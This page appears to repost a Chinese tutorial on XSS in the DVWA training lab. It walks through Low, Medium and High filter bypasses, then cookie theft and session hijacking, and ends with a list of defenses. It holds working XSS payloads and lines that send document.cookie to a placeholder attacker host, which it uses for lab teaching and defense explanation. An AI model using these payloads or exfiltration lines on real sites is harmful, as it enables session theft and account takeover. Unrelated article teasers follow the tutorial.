news 2026/5/1 2:12:03

别再只弹alert了!用DVWA从Low到High,手把手教你实战XSS盗取Cookie并登录

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别再只弹alert了!用DVWA从Low到High,手把手教你实战XSS盗取Cookie并登录

从弹窗到实战:DVWA环境下的XSS攻击深度演练

在网络安全领域,跨站脚本攻击(XSS)常被初学者视为简单的"弹窗把戏",但它的实际危害远不止于此。当攻击者能够窃取用户会话Cookie时,XSS就从一个概念验证漏洞转变为严重的身份认证绕过威胁。本文将带你从Low到High安全级别,逐步突破DVWA的防护机制,构建完整的攻击链——从注入恶意脚本到实际窃取会话凭证,最终实现未授权访问。

1. 实验环境搭建与基础准备

工欲善其事,必先利其器。我们需要一个标准化的测试环境来确保实验的可重复性和安全性。推荐使用以下组件搭建隔离的实验系统:

  • 虚拟机平台:VMware Workstation 或 VirtualBox
  • 攻击机系统:Kali Linux 2023(内置必要工具集)
  • 靶机系统:OWASP Broken Web Applications (BWA) 虚拟机(包含DVWA)
  • 浏览器工具:Firefox + HackTools插件

关键配置步骤

  1. 在虚拟网络编辑器中创建Host-Only网络
  2. 将Kali和DVWA虚拟机接入同一虚拟网络
  3. 验证网络连通性:
    ping 192.168.56.102 # 假设DVWA IP为此

注意:所有实验应在隔离的本地环境中进行,禁止对非授权系统测试

DVWA的安全级别设置位于Security选项卡,提供四个渐进式难度等级:

  • Low:无任何防护
  • Medium:基础过滤
  • High:严格过滤
  • Impossible:最佳实践防护

2. Low级别:原始XSS攻击剖析

在最低安全级别下,DVWA对用户输入没有任何防护措施,这让我们能够清晰观察XSS的核心原理。以反射型XSS为例:

源码分析(xss_r/source/low.php):

<?php header ("X-XSS-Protection: 0"); if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>Hello ' . $_GET['name'] . '</pre>'; } ?>

关键漏洞点在于直接拼接未过滤的用户输入($_GET['name'])到HTML响应中。攻击者可以构造特殊输入:

<script>alert(document.cookie)</script>

当受害者访问包含该恶意参数的URL时,其浏览器会执行脚本内容,弹窗显示当前会话Cookie。这已经比简单的alert('XSS')更具威胁性。

存储型XSS实战

  1. 导航到XSS(Stored)模块
  2. 在留言板插入:
    <script>new Image().src='http://攻击者IP/cookie.php?c='+document.cookie;</script>
  3. 每个查看留言的用户都会自动发送Cookie到攻击者服务器

3. Medium级别:绕过基础过滤机制

提升到中级安全级别后,DVWA引入了基础防护:

$name = str_replace('<script>', '', $_GET['name']);

绕过技术矩阵

过滤方式绕过方法示例Payload
大小写敏感大小写混合<ScRiPt>alert(1)</sCriPt>
字符串替换嵌套标签<scr<script>ipt>alert(1)</script>
关键词检测使用HTML事件<img src=x onerror=alert(1)>

实战步骤

  1. 使用IMG标签的onerror事件:
    <img src="invalid" onerror="alert(document.cookie)">
  2. 测试SVG向量:
    <svg/onload=alert(document.cookie)>
  3. 验证iframe注入:
    <iframe src="javascript:alert(document.cookie)">

4. High级别:突破严格过滤策略

高级别防护使用了正则表达式过滤:

$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']);

有效攻击向量

  • 伪协议利用
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  • CSS表达式
    <div style="x:expression(alert(document.cookie))">
  • 远程脚本加载
    <link rel="import" href="http://攻击者IP/malicious.js">

Cookie窃取完整流程

  1. 准备接收服务器(Kali):
    sudo python3 -m http.server 80
  2. 构造恶意负载:
    <script> fetch('http://攻击者IP/steal?cookie=' + btoa(document.cookie)) </script>
  3. 当管理员查看包含该脚本的页面时,Cookie会自动外泄

5. 实战会话劫持:从Cookie到系统访问

获取Cookie只是第一步,真正的风险在于会话重用。以下是完整攻击链:

步骤详解

  1. 使用Burp Suite拦截正常登录请求
  2. 观察Cookie结构:
    Cookie: PHPSESSID=hv34t5g6b7n8u9j0; security=high
  3. 在受害者浏览器中执行:
    document.cookie = "PHPSESSID=攻击者获取的SESSIONID; path=/";
  4. 刷新页面即可获得已认证会话

防御措施对比

防护层级技术实现有效性
Low无过滤完全无防护
Medium关键词替换可被简单绕过
High正则过滤需要高级技巧
Impossible输出编码理论上不可破

现代Web应用应采用的防护策略:

  • 实施Content Security Policy (CSP)
  • 对所有动态内容进行HTML实体编码
  • 设置HttpOnly和Secure Cookie标志
  • 使用框架提供的自动转义功能

在真实渗透测试中,XSS漏洞的价值往往取决于其实际可利用性。通过DVWA这个精心设计的实验环境,我们能够安全地探索从基础注入到完整攻击链的每个技术细节。记住,真正的安全专家不仅要掌握攻击方法,更要理解背后的防御原理。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 2:09:37

三格电子 SG-ECAT-HUB_4|EtherCAT 工业组网神器,一进三出重构自动化拓扑

在智能制造、机器人、产线自动化等高实时性场景中&#xff0c;传统 EtherCAT 线型&#xff08;菊花链&#xff09;组网常面临布线受限、单点故障断全线、扩展困难、同步精度不足等痛点。三格电子推出SG-ECAT-HUB_4 4 口 EtherCAT 分支器&#xff0c;以一进三出、多拓扑支持、DC…

作者头像 李华
网站建设 2026/5/1 2:07:37

电磁铁的磁性可以无限增强吗

电磁铁的磁性无法无限增强&#xff0c;这主要源于材料的磁饱和特性。当磁场强度达到临界值后&#xff0c;即便继续增大电流或增加线圈匝数&#xff0c;磁性也难以持续提升。铁芯材料内部存在大量微小磁畴&#xff0c;在外加磁场作用下&#xff0c;这些磁畴会逐渐转向与磁场一致…

作者头像 李华
网站建设 2026/5/1 2:07:36

Dify 2026多模态集成稀缺资源包:含3套工业级Schema定义模板、5个预调优LoRA微调配置及1份GDPR合规多模态日志脱敏规范(限前500名下载)

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;Dify 2026多模态大模型集成概览 Dify 2026 是 Dify 平台面向企业级多模态智能应用推出的里程碑版本&#xff0c;深度整合文本、图像、音频与结构化数据处理能力&#xff0c;支持统一推理接口与跨模态对…

作者头像 李华
网站建设 2026/5/1 1:39:36

TVA的应用前景与商业价值探秘(5)

重磅预告&#xff1a;本专栏将独家连载新书《AI视觉技术&#xff1a;从入门到进阶》精华内容。本书是《AI视觉技术&#xff1a;从进阶到专家》的权威前导篇&#xff0c;特邀美国 TypeOne 公司首席科学家、斯坦福大学博士 Bohan 担任技术顾问。Bohan 师从美国三院院士、“AI教母…

作者头像 李华
网站建设 2026/5/1 1:36:16

使用 taotoken cli 工具一键配置团队开发环境与模型密钥

使用 Taotoken CLI 工具一键配置团队开发环境与模型密钥 1. 安装 Taotoken CLI Taotoken CLI 工具提供两种安装方式&#xff0c;适用于不同场景&#xff1a; 全局安装&#xff08;适合长期使用&#xff09;&#xff1a; npm install -g taotoken/taotoken安装后可直接在终端运…

作者头像 李华